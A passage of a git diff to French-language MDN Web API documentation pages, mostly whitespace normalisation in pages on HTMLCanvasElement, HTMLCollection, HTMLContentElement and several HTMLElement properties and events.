dessin possible, `null` est retourné. +Si le *typeDeContexte* ne correspond pas à un contexte de dessin possible, `null` est retourné. ## Exemples -Étant donné l'élément {{HTMLElement("canvas")}} : +Étant donné l'élément {{HTMLElement("canvas")}} : ```html <canvas id="canvas" width="300" height="300"></canvas> ``` -vous pouvez obtenir un contexte 2d du canevas grâce au code suivant : +vous pouvez obtenir un contexte 2d du canevas grâce au code suivant : ```js var canvas = document.getElementById('canvas'); @@ -83,15 +83,15 @@ var ctx = canvas.getContext('2d'); console.log(ctx); // CanvasRenderingContext2D { ... } ``` -Vous avez alors le [contexte 2D de représentation](/en-US/docs/Web/API/CanvasRenderingContext2D) pour un canevas, et vous pouvez dessiner à l'intérieur. +Vous avez alors le [contexte 2D de représentation](/en-US/docs/Web/API/CanvasRenderingContext2D) pour un canevas, et vous pouvez dessiner à l'intérieur. ## Spécifications | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | -------------------------------------------------------------------------------------- | | {{SpecName('HTML WHATWG', "scripting.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}} | {{Spec2('HTML WHATWG')}} | Pas de changement depuis l'instantané le plus récent, {{SpecName('HTML5 W3C')}} | -| {{SpecName('HTML5.1', "scripting-1.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}} | {{Spec2('HTML5.1')}} | | -| {{SpecName('HTML5 W3C', "scripting-1.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}} | {{Spec2('HTML5 W3C')}} | Instantané du {{SpecName('HTML WHATWG')}} contenant la définition initiale. | +| {{SpecName('HTML5.1', "scripting-1.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}} | {{Spec2('HTML5.1')}} | | +| {{SpecName('HTML5 W3C', "scripting-1.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}} | {{Spec2('HTML5 W3C')}} | Instantané du {{SpecName('HTML WHATWG')}} contenant la définition initiale. | ## Compatibilité navigateurs @@ -99,6 +99,6 @@ Vous avez alors le [contexte 2D de représentation](/en-US/docs/Web/API/CanvasRe ## Voir aussi -- L'interface la définissant, {{domxref("HTMLCanvasElement")}}. +- L'interface la définissant, {{domxref("HTMLCanvasElement")}}. - {{domxref("OffscreenCanvas.getContext()")}}. -- Contextes de représentation disponibles : {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}} et {{domxref("WebGL2RenderingContext")}} et {{domxref("ImageBitmapRenderingContext")}}. +- Contextes de représentation disponibles : {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}} et {{domxref("WebGL2RenderingContext")}} et {{domxref("ImageBitmapRenderingContext")}}. diff --git a/files/fr/web/api/htmlcanvaselement/height/index.md b/files/fr/web/api/htmlcanvaselement/height/index.md index 647a45f107..342329cc6b 100644 --- a/files/fr/web/api/htmlcanvaselement/height/index.md +++ b/files/fr/web/api/htmlcanvaselement/height/index.md @@ -10,9 +10,9 @@ translation_of: Web/API/HTMLCanvasElement/height --- {{APIRef("Canvas API")}} -La propriété **`HTMLCanvasElement.height`** est un entier positif reflétant l'attribut HTML {{htmlattrxref("height", "canvas")}} de l'élément {{HTMLElement("canvas")}} mesuré en pixels CSS. Quand cet attribut n'est pas spécifié, ou si on lui affecte une valeur invalide, telle que négative, la valeur par défaut de `150` is utilisée. +La propriété **`HTMLCanvasElement.height`** est un entier positif reflétant l'attribut HTML {{htmlattrxref("height", "canvas")}} de l'élément {{HTMLElement("canvas")}} mesuré en pixels CSS. Quand cet attribut n'est pas spécifié, ou si on lui affecte une valeur invalide, telle que négative, la valeur par défaut de `150` is utilisée. -C'est l'une des deux propriétés, l'autre étant {{domxref("HTMLCanvasElement.width")}}, qui contrôlent la taille du canevas. +C'est l'une des deux propriétés, l'autre étant {{domxref("HTMLCanvasElement.width")}}, qui contrôlent la taille du canevas. ## Syntaxe @@ -21,13 +21,13 @@ C'est l'une des deux propriétés, l'autre étant {{domxref("HTMLCanvasElement. ## Exemples -Étant donné cet élément {{HTMLElement("canvas")}} : +Étant donné cet élément {{HTMLElement("canvas")}} : ```html <canvas id="canvas" width="300" height="300"></canvas> ``` -vous pouvez obtenir la hauteur du canevas avec le code suivant : +vous pouvez obtenir la hauteur du canevas avec le code suivant : ```js var canvas = document.getElementById('canvas'); @@ -39,7 +39,7 @@ console.log(canvas.height); // 300 | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | -------------------------------------------------------------------------------------- | | {{SpecName('HTML WHATWG', "scripting.html#attr-canvas-height", "HTMLCanvasElement.height")}} | {{Spec2('HTML WHATWG')}} | Pas de changement depuis l'instantané le plus récent, {{SpecName('HTML5 W3C')}} | -| {{SpecName('HTML5.1', "scripting-1.html#attr-canvas-height", "HTMLCanvasElement.height")}} | {{Spec2('HTML5.1')}} | | +| {{SpecName('HTML5.1', "scripting-1.html#attr-canvas-height", "HTMLCanvasElement.height")}} | {{Spec2('HTML5.1')}} | | | {{SpecName('HTML5 W3C', "scripting-1.html#attr-canvas-height", "HTMLCanvasElement.height")}} | {{Spec2('HTML5 W3C')}} | Instantané du {{SpecName('HTML WHATWG')}} contenant la définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/htmlcollection/index.md b/files/fr/web/api/htmlcollection/index.md index 94d2f75eba..d2e9197464 100644 --- a/files/fr/web/api/htmlcollection/index.md +++ b/files/fr/web/api/htmlcollection/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/HTMLCollection L'interface **HTMLCollection** est constituée d'une collection générique (à la manière d'un tableau similaire à [arguments](/fr/docs/Web/JavaScript/Reference/Fonctions/arguments)) d'éléments (dans l'ordre du document) et offre des méthodes et des propriétés pour sélectionner ces éléments dans la liste. -**Note:** Cette interface est appelée `HTMLCollection` pour des raisons historiques (avant DOM4, les collections implémentant cette interface pouvaient uniquement êtres constituées d'élements HTML). +**Note:** Cette interface est appelée `HTMLCollection` pour des raisons historiques (avant DOM4, les collections implémentant cette interface pouvaient uniquement êtres constituées d'élements HTML). Une HTMLCollection dans le DOM HTML est automatiquement mise à jour quand le document concerné change. @@ -25,11 +25,11 @@ Une HTMLCollection dans le DOM HTML est automatiquement mise à jour quand le do - {{domxref("HTMLCollection.item()")}} - : Retourne le nœud spécifique à l'`index` basé sur zéro donné dans la liste. Retourne `null` si l'`index` est hors de portée. - {{domxref("HTMLCollection.namedItem()")}} - - : Retourne le nœud spécifique dont l'ID ou, à défaut, le nom correspond à la chaîne de caractères fournie par `name`. La recherche par nom est faite seulement en dernier ressort, uniquement en HTML, et seulement si l'élément référencé supporte l'attribut `name`. Retourne `null` si aucun nœud n'existe pour le nom donné. + - : Retourne le nœud spécifique dont l'ID ou, à défaut, le nom correspond à la chaîne de caractères fournie par `name`. La recherche par nom est faite seulement en dernier ressort, uniquement en HTML, et seulement si l'élément référencé supporte l'attribut `name`. Retourne `null` si aucun nœud n'existe pour le nom donné. ## Utilisation en JavaScript -`HTMLCollection` expose aussi directement ses membres comme propriétés, par nom et par index. Les ID HTML peuvent contenir : et . comme caractères valides, ce qui nécessite d'utiliser la notation entre crochets pour accèder aux propriétés. Actuellement, HTMLCollections ne reconnait pas purement les ID numériques, ce qui provoquerait des conflits avec l'accès de "array-style" , bien qu'HTML5 le permette. +`HTMLCollection` expose aussi directement ses membres comme propriétés, par nom et par index. Les ID HTML peuvent contenir : et . comme caractères valides, ce qui nécessite d'utiliser la notation entre crochets pour accèder aux propriétés. Actuellement, HTMLCollections ne reconnait pas purement les ID numériques, ce qui provoquerait des conflits avec l'accès de "array-style" , bien qu'HTML5 le permette. Par exemple, en supposant qu'il y ait un élément `<form>` _(formulaire)_ dans le document et que son `id` soit `"myForm"` : @@ -59,8 +59,8 @@ Certains navigateurs se comportent différemment quand il y a plus d'un élémen | Specification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------ | -------------------------------- | -------------------- | -| {{SpecName('DOM WHATWG', '#htmlcollection', 'HTMLCollection')}} | {{ Spec2('DOM WHATWG') }} | | -| {{SpecName('DOM2 HTML', 'html.html#ID-75708506', 'HTMLCollection')}} | {{ Spec2('DOM2 HTML') }} | | +| {{SpecName('DOM WHATWG', '#htmlcollection', 'HTMLCollection')}} | {{ Spec2('DOM WHATWG') }} | | +| {{SpecName('DOM2 HTML', 'html.html#ID-75708506', 'HTMLCollection')}} | {{ Spec2('DOM2 HTML') }} | | | {{SpecName('DOM1', 'level-one-html.html#ID-75708506', 'HTMLCollection')}} | {{ Spec2('DOM1') }} | Définition initiale. | ## Voir aussi diff --git a/files/fr/web/api/htmlcollection/item/index.md b/files/fr/web/api/htmlcollection/item/index.md index d1c5d2cea5..c25813184e 100644 --- a/files/fr/web/api/htmlcollection/item/index.md +++ b/files/fr/web/api/htmlcollection/item/index.md @@ -18,7 +18,7 @@ L'élement à la position spécifiée, ou null si la position est inférieure à ## Description -La méthode `item()` retourne un élément numéroté d'une HTMLCollection. En Javascript, il est plus simple de traiter une HTMLCollection comme un tableau et d'utiliser les indexes comme pour les tableaux. +La méthode `item()` retourne un élément numéroté d'une HTMLCollection. En Javascript, il est plus simple de traiter une HTMLCollection comme un tableau et d'utiliser les indexes comme pour les tableaux. ## Exemple diff --git a/files/fr/web/api/htmlcontentelement/getdistributednodes/index.md b/files/fr/web/api/htmlcontentelement/getdistributednodes/index.md index c34b0e1a69..d1945bbed0 100644 --- a/files/fr/web/api/htmlcontentelement/getdistributednodes/index.md +++ b/files/fr/web/api/htmlcontentelement/getdistributednodes/index.md @@ -10,7 +10,7 @@ translation_of: Web/API/HTMLContentElement/getDistributedNodes --- {{ APIRef("Web Components") }} -La méthode **`HTMLContentElement.getDistributedNodes()`** retourne un {{domxref("NodeList")}} statique du {{glossary("distributed nodes")}} associé avec l'élément `<content>`. +La méthode **`HTMLContentElement.getDistributedNodes()`** retourne un {{domxref("NodeList")}} statique du {{glossary("distributed nodes")}} associé avec l'élément `<content>`. ## Syntaxe @@ -27,7 +27,7 @@ var nodes = myContentObject.getDistributedNodes(); | Spécification | Status | Commentaire | | -------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('Shadow DOM', '#the-content-element', 'content')}} | {{Spec2('Shadow DOM')}} | | +| {{SpecName('Shadow DOM', '#the-content-element', 'content')}} | {{Spec2('Shadow DOM')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/htmlcontentelement/index.md b/files/fr/web/api/htmlcontentelement/index.md index 51df4a127b..d03ca6a742 100644 --- a/files/fr/web/api/htmlcontentelement/index.md +++ b/files/fr/web/api/htmlcontentelement/index.md @@ -11,27 +11,27 @@ translation_of: Web/API/HTMLContentElement --- {{ APIRef("Web Components") }} -L'interface **`HTMLContentElement`** represente un élément HTML {{HTMLElement("content")}}, utilisé dans le [Shadow DOM](/en-US/docs/Web/Web_Components/Shadow_DOM). +L'interface **`HTMLContentElement`** represente un élément HTML {{HTMLElement("content")}}, utilisé dans le [Shadow DOM](/en-US/docs/Web/Web_Components/Shadow_DOM). ## Propriétés -_Cette interface hérite des propriétés de {{domxref("HTMLElement")}}._ +_Cette interface hérite des propriétés de {{domxref("HTMLElement")}}._ - {{domxref("HTMLContentElement.select")}} - - : Une {{domxref("DOMString")}} qui renvoie le {{ htmlattrxref("select", "content") }} d'un attribut HTML. La valeur de retour est une liste de sélecteurs CSS séparés par des virgules. Ils récupèrent le contenu à inserer à la place de l'élément `<content>`. + - : Une {{domxref("DOMString")}} qui renvoie le {{ htmlattrxref("select", "content") }} d'un attribut HTML. La valeur de retour est une liste de sélecteurs CSS séparés par des virgules. Ils récupèrent le contenu à inserer à la place de l'élément `<content>`. ## Méthodes -_Cette interface hérite des methodes de {{domxref("HTMLElement")}}._ +_Cette interface hérite des methodes de {{domxref("HTMLElement")}}._ - {{domxref("HTMLContentElement.getDistributedNodes()")}} - - : Retourne un {{domxref("NodeList")}} statique du {{glossary("distributed nodes")}} associé avec l'élément `<content>`. + - : Retourne un {{domxref("NodeList")}} statique du {{glossary("distributed nodes")}} associé avec l'élément `<content>`. ## Spécifications | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('Shadow DOM', '#the-content-element', 'content')}} | {{Spec2('Shadow DOM')}} | | +| {{SpecName('Shadow DOM', '#the-content-element', 'content')}} | {{Spec2('Shadow DOM')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/htmlcontentelement/select/index.md b/files/fr/web/api/htmlcontentelement/select/index.md index c639c24316..a11d49dfa0 100644 --- a/files/fr/web/api/htmlcontentelement/select/index.md +++ b/files/fr/web/api/htmlcontentelement/select/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/HTMLContentElement/select --- {{ APIRef("Web Components") }} -La propriété **`HTMLContentElement.select`** represente l'attribut `select`. La valeur de retour est une liste de sélecteurs CSS séparés par des espaces. Ils récupèrent le contenu à inserer à la place de l'élément `<content>`. +La propriété **`HTMLContentElement.select`** represente l'attribut `select`. La valeur de retour est une liste de sélecteurs CSS séparés par des espaces. Ils récupèrent le contenu à inserer à la place de l'élément `<content>`. ## Syntaxe @@ -28,7 +28,7 @@ myContentObject.select = "h1 .error"; | Specification | Status | Comment | | -------------------------------------------------------------------------------- | -------------------------------- | ------- | -| {{SpecName('Shadow DOM', '#the-content-element', 'content')}} | {{Spec2('Shadow DOM')}} | | +| {{SpecName('Shadow DOM', '#the-content-element', 'content')}} | {{Spec2('Shadow DOM')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/htmldocument/index.md b/files/fr/web/api/htmldocument/index.md index e9f6331602..45ef36b0b8 100644 --- a/files/fr/web/api/htmldocument/index.md +++ b/files/fr/web/api/htmldocument/index.md @@ -5,9 +5,9 @@ translation_of: Web/API/HTMLDocument --- {{ APIRef("HTML DOM") }} -**`HTMLDocument`** est une interface abstraite de [DOM](/fr-FR/docs/DOM) qui fournit un accès aux propriétés spéciales et aux méthodes non présentes par défaut dans un document ordinaire (XML). +**`HTMLDocument`** est une interface abstraite de [DOM](/fr-FR/docs/DOM) qui fournit un accès aux propriétés spéciales et aux méthodes non présentes par défaut dans un document ordinaire (XML). -Ses méthodes et propriétés sont incluses dans la page {{domxref("document")}} et listées séparément dans leur propre section DOM référencées ci-dessus. +Ses méthodes et propriétés sont incluses dans la page {{domxref("document")}} et listées séparément dans leur propre section DOM référencées ci-dessus. ## Spécification diff --git a/files/fr/web/api/htmlelement/accesskey/index.md b/files/fr/web/api/htmlelement/accesskey/index.md index d73b519dbd..c8ef315786 100644 --- a/files/fr/web/api/htmlelement/accesskey/index.md +++ b/files/fr/web/api/htmlelement/accesskey/index.md @@ -14,6 +14,6 @@ original_slug: Web/API/Element/accessKey --- {{APIRef("DOM")}} -La propriété **Element.accessKey** définit la touche sur laquelle l'utilisateur doit appuyer pour accéder à l'élément. +La propriété **Element.accessKey** définit la touche sur laquelle l'utilisateur doit appuyer pour accéder à l'élément. -> **Note :** La propriété `Element.accessKey` est rarement utilisée en raison de ses multiples conflits avec des raccourcis clavier déjà présents dans les navigateurs. Pour contourner ce problème, les navigateurs appliquent le comportement attendu de "accesskey" lorsqu'une autre touche est pressée simultanément (comme <kbd>Alt</kbd> + accesskey). +> **Note :** La propriété `Element.accessKey` est rarement utilisée en raison de ses multiples conflits avec des raccourcis clavier déjà présents dans les navigateurs. Pour contourner ce problème, les navigateurs appliquent le comportement attendu de "accesskey" lorsqu'une autre touche est pressée simultanément (comme <kbd>Alt</kbd> + accesskey). diff --git a/files/fr/web/api/htmlelement/beforeinput_event/index.md b/files/fr/web/api/htmlelement/beforeinput_event/index.md index b37e99d8f3..cd699a2379 100644 --- a/files/fr/web/api/htmlelement/beforeinput_event/index.md +++ b/files/fr/web/api/htmlelement/beforeinput_event/index.md @@ -82,4 +82,4 @@ function updateValue(e) { ## Voir aussi -- Évènement associé : [`input`](/en-US/docs/Web/API/HTMLElement/input_event) +- Évènement associé : [`input`](/en-US/docs/Web/API/HTMLElement/input_event) diff --git a/files/fr/web/api/htmlelement/change_event/index.md b/files/fr/web/api/htmlelement/change_event/index.md index a3bd13be95..540f203276 100644 --- a/files/fr/web/api/htmlelement/change_event/index.md +++ b/files/fr/web/api/htmlelement/change_event/index.md @@ -33,7 +33,7 @@ L'événement **change** est déclenché pour les éléments {{HTMLElement("inpu En fonction du type d'élément de formulaire modifié et de la manière dont l'utilisateur interagit avec cet élément, l'événement **change** se déclenche à un moment différent : - Quand l'élément est activé (en cliquant ou en utilisant le clavier) pour `<input type="radio">` et `<input type="checkbox">`_(case à cocher_). -- Quand l'utilisateur réalise le changement de manière explicite (par exemple, en sélectionnant une valeur venant d'un {{HTMLElement("select")}} d'un menu déroulant avec le clic d'une souris, en sélectionnant une date d'un "date picker" _(sélecteur de date)_ pour `<input type="date">`, en sélectionnant un fichier d'un "file picker" _(sélecteur de fichier)_ pour `<input type="file">`, etc.). +- Quand l'utilisateur réalise le changement de manière explicite (par exemple, en sélectionnant une valeur venant d'un {{HTMLElement("select")}} d'un menu déroulant avec le clic d'une souris, en sélectionnant une date d'un "date picker" _(sélecteur de date)_ pour `<input type="date">`, en sélectionnant un fichier d'un "file picker" _(sélecteur de fichier)_ pour `<input type="file">`, etc.). - Quand l'élément perd le focus après que sa valeur a été changée, mais pas validée (par exemple, après l'édition d'une valeur de {{HTMLElement("textarea")}} ou `<input type="text">`). Les différents navigateurs ne sont pas toujours d'accord sur le fait que l'événement **change** doit être déclenché pour certains types d'interactions. Par exemple, la navigation avec le clavier dans les éléments {{HTMLElement("select")}} ne déclenche jamais l'événement dans Gecko jusqu'à ce que l'utilisateur appuie sur la touche Entrée ou déplace le focus en dehors du \<select> (voir {{bug("126379")}}). diff --git a/files/fr/web/api/htmlelement/click/index.md b/files/fr/web/api/htmlelement/click/index.md index 9bd9f6704c..c4572a76d6 100644 --- a/files/fr/web/api/htmlelement/click/index.md +++ b/files/fr/web/api/htmlelement/click/index.md @@ -44,7 +44,7 @@ D'autres implémentations du DOM peuvent se comporter différemment. | Spécification | Statut | Commentaires | | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('DOM2 HTML', 'html.html#ID-2651361')}} — [traduction en français](http://www.yoyodesign.org/doc/w3c/dom2/html/html.html#ID-2651361) (non normative) | {{Spec2('DOM2 HTML')}} | | +| {{SpecName('DOM2 HTML', 'html.html#ID-2651361')}} — [traduction en français](http://www.yoyodesign.org/doc/w3c/dom2/html/html.html#ID-2651361) (non normative) | {{Spec2('DOM2 HTML')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/htmlelement/contenteditable/index.md b/files/fr/web/api/htmlelement/contenteditable/index.md index e90cf402d7..10b57f9664 100644 --- a/files/fr/web/api/htmlelement/contenteditable/index.md +++ b/files/fr/web/api/htmlelement/contenteditable/index.md @@ -14,8 +14,8 @@ translation_of: Web/API/HTMLElement/contentEditable La propriété **`HTMLElement.contentEditable`** est utilisée pour indiquer si un élément HTML est ou non éditable. Cet attribut peut avoir 3 valeurs : - `"true"` _(vrai)_ indique que l'élément est éditable. -- `"false"` _(faux)_ indique que l'élément ne sera pas éditable. -- `"inherit"` _(hérité)_ indique que l'élément héritera de l'état editable de son parent. +- `"false"` _(faux)_ indique que l'élément ne sera pas éditable. +- `"inherit"` _(hérité)_ indique que l'élément héritera de l'état editable de son parent. Vous pouvez utiliser la propriété {{domxref("HTMLElement.isContentEditable")}} pour tester la valeur de la propriété {{domxref("Boolean")}}. diff --git a/files/fr/web/api/htmlelement/dir/index.md b/files/fr/web/api/htmlelement/dir/index.md index 5cfee0d797..e6aba0d240 100644 --- a/files/fr/web/api/htmlelement/dir/index.md +++ b/files/fr/web/api/htmlelement/dir/index.md @@ -33,11 +33,11 @@ para.dir = "rtl"; ## Notes -La direction d'écriture du texte sur un élément est celle dans laquelle le texte est disposé (pour permettre le support de systèmes multilingues). Les langues arabes et l'hébreu sont des exemples typiques de langues qui utiliseront la direction « rtl » (de droite à gauche). +La direction d'écriture du texte sur un élément est celle dans laquelle le texte est disposé (pour permettre le support de systèmes multilingues). Les langues arabes et l'hébreu sont des exemples typiques de langues qui utiliseront la direction « rtl » (de droite à gauche). -Une image peut avoir sont attribut `dir` positionné à « rtl », auquel cas les attributs `title` et `alt` seront formatés et définis comme allant de droite à gauche. +Une image peut avoir sont attribut `dir` positionné à « rtl », auquel cas les attributs `title` et `alt` seront formatés et définis comme allant de droite à gauche. -Lorsqu'un tableau a sa direction définie comme « rtl », l'ordre des colonnes va de droite à gauche. +Lorsqu'un tableau a sa direction définie comme « rtl », l'ordre des colonnes va de droite à gauche. {{ gecko_callout_heading("7.0") }} @@ -47,4 +47,4 @@ Avant Gecko 7.0 {{ geckoRelease("7.0") }}, il était possible que la valeur renv | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | ----------- | -| {{SpecName('DOM2 HTML', 'html.html#ID-52460740', 'dir')}} — [traduction](http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-52460740) (non normative) | {{Spec2('DOM2 HTML')}} | | +| {{SpecName('DOM2 HTML', 'html.html#ID-52460740', 'dir')}} — [traduction](http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-52460740) (non normative) | {{Spec2('DOM2 HTML')}} | | diff --git a/files/fr/web/api/htmlelement/hidden/index.md b/files/fr/web/api/htmlelement/hidden/index.md index 6c2121924c..1937f8240a 100644 --- a/files/fr/web/api/htmlelement/hidden/index.md +++ b/files/fr/web/api/htmlelement/hidden/index.md @@ -42,8 +42,8 @@ Voici un exemple où un bloc caché est utilisé pour contenir un message de rem ```js document.getElementById("boutonOk") .addEventListener("click", function() { - document.getElementById("bienvenue").hidden = true; - document.getElementById("impressionnant").hidden = false; + document.getElementById("bienvenue").hidden = true; + document.getElementById("impressionnant").hidden = false; }, false); ``` diff --git a/files/fr/web/api/htmlelement/index.md b/files/fr/web/api/htmlelement/index.md index 77f521cae9..2a4ebc18d0 100644 --- a/files/fr/web/api/htmlelement/index.md +++ b/files/fr/web/api/htmlelement/index.md @@ -19,10 +19,10 @@ translation_of: Web/API/HTMLElement | {{domxref("element.accessKey", "accessKey")}} {{HTMLVersionInline(5)}} | {{domxref("DOMString")}} | La touche de navigation clavier assignée à l'élément. | | {{domxref("element.accessKeyLabel", "accessKeyLabel")}} {{HTMLVersionInline(5)}} | {{domxref("DOMString")}} | Une chaîne de caractères définissant la touche de navigation clavier assignée. | | {{domxref("element.className", "className")}} | {{domxref("DOMString")}} | Le nom de la classe [CSS](/fr/docs/CSS) définie pour l'élément. | -| {{domxref("element.dataset", "dataset")}} {{HTMLVersionInline(5)}} | {{domxref("DOMStringMap")}} | Un tableau associatif des attributs `data-*` de l'élément. | +| {{domxref("element.dataset", "dataset")}} {{HTMLVersionInline(5)}} | {{domxref("DOMStringMap")}} | Un tableau associatif des attributs `data-*` de l'élément. | | {{domxref("element.dir", "dir")}} | {{domxref("DOMString")}} | L'attribut `dir` de l'élément. | | {{domxref("element.id", "id")}} | {{domxref("DOMString")}} | L'ID de l'élément. | -| {{domxref("element.lang", "lang")}} | {{domxref("DOMString")}} | L'attribut `lang` de l'élément. | +| {{domxref("element.lang", "lang")}} | {{domxref("DOMString")}} | L'attribut `lang` de l'élément. | | {{domxref("element.title", "title")}} | {{domxref("DOMString")}} | L'attribut `title` de l'élément. | ## Méthodes @@ -37,7 +37,7 @@ translation_of: Web/API/HTMLElement | Spécification | Statut | Commentaires | | ------------------------------------------------------------------------------------------------ | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG', 'elements.html#htmlelement', 'HTMLElement')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', 'elements.html#htmlelement', 'HTMLElement')}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/htmlelement/innertext/index.md b/files/fr/web/api/htmlelement/innertext/index.md index 3f639cd672..9749e10c9e 100644 --- a/files/fr/web/api/htmlelement/innertext/index.md +++ b/files/fr/web/api/htmlelement/innertext/index.md @@ -8,7 +8,7 @@ original_slug: Web/API/Node/innerText ## Sommaire -**`Node.innerText`** est une propriété représentant le contenu textuel « visuellement rendu » d’un nœud. Utilisé en lecture, il renvoie une approximation du texte que l’utilisateur ou utilisatrice obtiendrait s’il ou elle sélectionnnait le contenu d’un élément avec le curseur, et le copiait dans le presse-papier. +**`Node.innerText`** est une propriété représentant le contenu textuel « visuellement rendu » d’un nœud. Utilisé en lecture, il renvoie une approximation du texte que l’utilisateur ou utilisatrice obtiendrait s’il ou elle sélectionnnait le contenu d’un élément avec le curseur, et le copiait dans le presse-papier. {{domxref("Node.textContent")}} est une alternative similaire, bien qu’il y ait d’importantes différences entre les deux. diff --git a/files/fr/web/api/htmlelement/input_event/index.md b/files/fr/web/api/htmlelement/input_event/index.md index d70e1d9447..41eee8858b 100644 --- a/files/fr/web/api/htmlelement/input_event/index.md +++ b/files/fr/web/api/htmlelement/input_event/index.md @@ -8,9 +8,9 @@ tags: - HTML5 translation_of: Web/API/HTMLElement/input_event --- -L'évènement DOM `input` _(entrée)_ est déclenché de façon synchrone quand la valeur d'un élément {{HTMLElement("input")}} _(entrée)_, {{HTMLElement("select")}} _(sélection)_ ou {{ HTMLElement("textarea") }} _(zone de texte)_ est modifiée. (Pour les éléments `input` avec `type=checkbox` _(case à cocher)_ ou `type=radio` , l'évènement `input` n'est pas lancé quand l'utilisateur clique sur le contrôle, parce que la valeur attribuée ne peut être changée). +L'évènement DOM `input` _(entrée)_ est déclenché de façon synchrone quand la valeur d'un élément {{HTMLElement("input")}} _(entrée)_, {{HTMLElement("select")}} _(sélection)_ ou {{ HTMLElement("textarea") }} _(zone de texte)_ est modifiée. (Pour les éléments `input` avec `type=checkbox` _(case à cocher)_ ou `type=radio` , l'évènement `input` n'est pas lancé quand l'utilisateur clique sur le contrôle, parce que la valeur attribuée ne peut être changée). -De plus, l'évènement `input` se déclenche sur les éditeurs [`contenteditable`](/fr/docs/Web/API/HTMLElement/contentEditable) quand son contenu est modifié. Dans ce cas, l'évènement cible est l'élément "editing host" _(hôte de l'édition)_ . S'il y a deux éléments ou plus qui ont `contenteditable` à true _(vrai)_, "editing host" est l'élément ancêtre le plus proche dont le parent n'est pas modifiable . De même, il est déclenché sur l'élément racine des éditeurs [`designMode`](/fr/docs/Web/API/Document/designMode) . +De plus, l'évènement `input` se déclenche sur les éditeurs [`contenteditable`](/fr/docs/Web/API/HTMLElement/contentEditable) quand son contenu est modifié. Dans ce cas, l'évènement cible est l'élément "editing host" _(hôte de l'édition)_ . S'il y a deux éléments ou plus qui ont `contenteditable` à true _(vrai)_, "editing host" est l'élément ancêtre le plus proche dont le parent n'est pas modifiable . De même, il est déclenché sur l'élément racine des éditeurs [`designMode`](/fr/docs/Web/API/Document/designMode) . ## Information générale diff --git a/files/fr/web/api/htmlelement/iscontenteditable/index.md b/files/fr/web/api/htmlelement/iscontenteditable/index.md index 65b63c9c97..92aa4fc4ca 100644 --- a/files/fr/web/api/htmlelement/iscontenteditable/index.md +++ b/files/fr/web/api/htmlelement/iscontenteditable/index.md @@ -40,7 +40,7 @@ document.getElementById("infoText2").innerHTML += document.getElementById("myTex | -------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------------------------------------------------------------------------------------------------- | | {{SpecName('HTML WHATWG', "editing.html#dom-iscontenteditable", "HTMLElement.contenteditable")}} | {{Spec2('HTML WHATWG')}} | Pas de changement de la dernière image, {{SpecName('HTML5.1')}} | | {{SpecName('HTML5.1', "editing.html#dom-iscontenteditable", "HTMLElement.contenteditable")}} | {{Spec2('HTML5.1')}} | L'image de {{SpecName('HTML WHATWG')}}, n'est pas changée par {{SpecName('HTML5 W3C')}} | -| {{SpecName('HTML5 W3C', "editing.html#dom-iscontenteditable", "HTMLElement.contenteditable")}} | {{Spec2('HTML5 W3C')}} | Image de {{SpecName('HTML WHATWG')}}, definition initiale. | +| {{SpecName('HTML5 W3C', "editing.html#dom-iscontenteditable", "HTMLElement.contenteditable")}} | {{Spec2('HTML5 W3C')}} | Image de {{SpecName('HTML WHATWG')}}, definition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/htmlelement/lang/index.md b/files/fr/web/api/htmlelement/lang/index.md index 3d17dce396..980247a301 100644 --- a/files/fr/web/api/htmlelement/lang/index.md +++ b/files/fr/web/api/htmlelement/lang/index.md @@ -35,7 +35,7 @@ if (document.documentElement.lang === "en") { ## Notes -Les codes de langues renvoyés par cette propriété sont définis dans la [RFC 1766](http://tools.ietf.org/html/rfc1766). Par exemple, « en » pour anglais, « ja » pour japonais, « es » pour espagnol, « fr » pour français, etc. La valeur par défaut de cet attribut est `unknown` (inconnue). Notez que cet attribut, bien que valide au niveau de chaque élément individuel, et le plus souvent spécifié pour le nœud racine du document. +Les codes de langues renvoyés par cette propriété sont définis dans la [RFC 1766](http://tools.ietf.org/html/rfc1766). Par exemple, « en » pour anglais, « ja » pour japonais, « es » pour espagnol, « fr » pour français, etc. La valeur par défaut de cet attribut est `unknown` (inconnue). Notez que cet attribut, bien que valide au niveau de chaque élément individuel, et le plus souvent spécifié pour le nœud racine du document. Ne marche qu'avec l'attribut `lang`, et non avec `xml:lang`. @@ -43,4 +43,4 @@ Ne marche qu'avec l'attribut `lang`, et non avec `xml:lang`. | Spécification | Statut | Commentaires | | ---------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('DOM2 HTML', 'html.html#ID-59132807', 'id')}} | {{Spec2('DOM2 HTML')}} | | +| {{SpecName('DOM2 HTML', 'html.html#ID-59132807', 'id')}} | {{Spec2('DOM2 HTML')}} | 